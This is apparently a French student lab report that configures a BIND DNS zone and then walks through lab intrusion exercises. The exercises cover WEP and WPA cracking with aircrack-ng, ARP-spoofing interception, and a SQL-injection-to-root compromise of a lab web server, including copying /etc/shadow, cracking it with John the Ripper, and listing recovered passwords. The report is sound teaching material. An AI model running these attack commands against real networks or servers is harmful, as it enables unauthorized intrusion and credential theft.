TP sysres IMA5sc 2020/2021 G12
TP PRA Quentin Normand / Maxime Claudel - truffe
4. Services Internet
4.1. Configuration des DNS
Configuration commencée le 16/11, terminée le 30/11
Dans un premier temps il a fallu réserver un nom de domaine dans la section Glue Records sur gandi.net :
ns1.truffe.site
Configuration de bind
Installation du paquet nécessaire :
sudo apt-get install bind9
Changement dans le fichier /etc/resolv.conf pour avoir une connexion :
nameserver 8.8.8.8
Configuration des options de transfert d'information :
Dans le fichier /etc/bind/named.conf.options, on modifie comme ci-dessous.
options { directory "/var/cache/bind"; listen-on-v6 { any; }; allow-transfer { "allowed_to_transfer"; }; }; acl "allowed_to_transfer" { 217.70.177.40/32; };
Configuration du DNS dans la zone truffe.site :
On travaille maintenant dans le fichier /etc/bind/named.conf.local.
On souhaite créer une zone truffe.site de type master.
On ajoute aussi le chemin vers son fichier de configuration (fichier à créer a posteriori).
Finalement, on autorise le transfert d'informations vers le DNS primaire associé à l'adresse suivante : 217.70.177.40
zone "truffe.site" IN { type master; file "/etc/bind/db.truffe.site"; allow-transfer {217.70.177.40;}; };
Configuration de la zone truffe.site :
En s'inspirant du fichier /etc/bind/db.local déjà présent, on crée un fichier /etc/bind/db.truffe.site.
On y ajoute les serveurs DNS principau et secondaires ns1.truffe.site et ns6.gandi.net ainsi que l'adresse ip de notre VM sous ns1.
Il faut également modifier localhost et root.localhost et incrémenter le Serial.
$TTL 604800 @ IN SOA ns1.truffe.site. postmaster.truffe.site. ( 4 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; @ IN NS ns1.truffe.site @ IN NS ns6.gandi.net ns1 IN A 193.48.57.177
5. Tests d'intrusion
5.2 Cassage de clef WEP d'un point d'accès WiFi
Afin de réaliser le craquage de mot de passe, on utilise les paquets aircrack-ng. Dans un premier temps on recherche les interfaces réseaux du pc avec la commande suivante:
airmon-ng
On peut ensuite démarrer l'interface Wi-Pi en mode monitor avec la commande:
airmon-ng start wlx40a5ef05a110
L'interface réseau a été renommé suite à cela en wlan0mon.
On peut donc ensuite lancer un scan des réseaux wifi WEP avec la commande:
airmon-ng --encrypt wep wlan0mon
On peut maintenant choisir un réseaux à craquer en capturant les paquets du réseau choisi avec la commande suivante:
airdump-ng --write kracotte12 --channel 3 --bssid 00:14:1C:60:8C:2B wlan0mon
Et enfin lancer le craquage via la commande:
aircrack-ng -z kracotte12-01.cap
5.3 Cassage de mot de passe WPA-PSK par force brute
On utilise encore une fois aircrack-ng.
On commence donc par les commandes suivantes:
airmon-ng
airmon-ng start wlx40a5ef05a110
L'interface réseau a été renommé suite à cela en wlan0mon.
On peut donc lancer la commande suivante:
airodump-ng wlan0mon
On récupère ainsi le BSSID et le canal de krakotte12. On cherche alors à récupérer le handshake via la commande suivante:
airodump-ng --bssid 00:14:1B:60:8C:2B wlan0mon --channel 5 --write hand
On obtient:
On créée donc un dictionnaire pour faire la force brute sachant que le mot de passe est composé que de chiffres et est de longueur 8.
crunch 8 8 1234567890 > dico
Et ensuite on peut lancer:
aircrack-ng hand-01.cap -w dico
5.4 Attaque de type "homme au milieu" par usurpation ARP
On commence par installer dsniff sur le pc. On passe ensuite le eeepc en mode routeur avec la commande:
sysctl -w .net.ipv4.ip_forward=1
On insère ensuite le eeePC entre la zabeth (ici zabeth06) et le routeur via la commande:
arpspoof -i eth0 -t 172.26.145.56 172.26.145.254
On lance ensuite wireshark afin de capturer les paquets échangés avec le filtre suivant:
ip.addr == 172.26.145.56
5.5 Intrusion sur un serveur d’application Web
L'objectif de cette partie est de se connecter en ssh en tant que root sur le serveur honey.plil.info.
Pour cela, dans un navigateur web, on examine l'application, et on tente une injection SQL dans le champ identifiant via la commande:
'OR 1=1#
On obtient ainsi une liste d'utilisateurs avec les mots de passe associés.
On peut donc désormais se connecter à l'application avec l'identifiant admin et son mot de passe jesuislechef.
Par la suite, on a pu voir les différents manuels, et en ajouter un avec le chemin /etc/phpmyadmin/config-db. En téléchargeant le fichier nouvellement créé, on a pu récupérer le mot de passe gencovid19. En se connectant en root avec ce mot de passe à phpmyadmin on a pu rentrer dans la table users et récupérer le login rex et le mot de passe associé plainpassword.
On a donc pu se connecter en SSH au serveur:
ssh rex@honey.plil.info
On a ensuite utilisé les commandes suivantes pour récupérer les fichiers /etc/passwd et /etx/shadow:
scp rex@honey.plil.info:/etc/shadow shadow_rex
scp rex@honey.plil.info:/etc/passwd passwd_rex
Ces deux fichiers vont nous permettre de récupérer le mot de passe root par force brute via l'utilitaire johnthereaper.
Cependant, grâce aux indications données, nous pouvons limité la force brute aux mots de passe formé de 2chaines identiques de 4 caractères. On va donc dans un premier temps créer un dictionnaire de mots de 4 caractères:
crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico
Puis le transformé en dictionnaire de mots de 8 caractères en doublant les mots présents:
sed -i 's/\(.*\)/\1\1/'
Maintenant que nous avons un dictionnaire adéquat, nous pouvons nous consacrer au craquage du mot de passe pleinement. Nous allons regrouper passwd_rex et shadow_rex avec la commande suivante:
unshadow /home/passwd_rex /home/shadow_rex | head > password
Puis utiliser la force brute avec la commande:
john -w:dico password
On obtient alors le mot de passe root suivant: fortfort
On peut alors se connecter en SSH:
ssh root@honey.plil.info
Puis ajouter un fichier:
touch Normand_Claudel_grp12
6. Réalisations
6.1 Sécurisation de données
6.2 Chiffrement de données
On commence par installer les paquets lvm2 et cryptsetup.
On trouve le nom de la clef USB avec la commande lsblk. La clef est donc sda et est déjà chiffrée. On réinitialise la clef avec la commande suivante:
mkfs.ext4 /dev/sda
Il y a bien un message de confirmation pour écraser la partition cryptée existante.
On initialise ensuite la partition avec la commande:
sudo cryptsetup luksFortmat /dev/sda
On nous demande alors le mot de passe que l'on souhaite utiliser pour déchiffrer la clef.
Pour connecter votre nouveau conteneur chiffré au système d’exploitation, on utilise de nouveau cryptsetup :
sudo cryptsetup luksOpen /dev/sda usb
Le conteneur est maintenant accessible depuis le périphérique virtuel /dev/mapper/usb.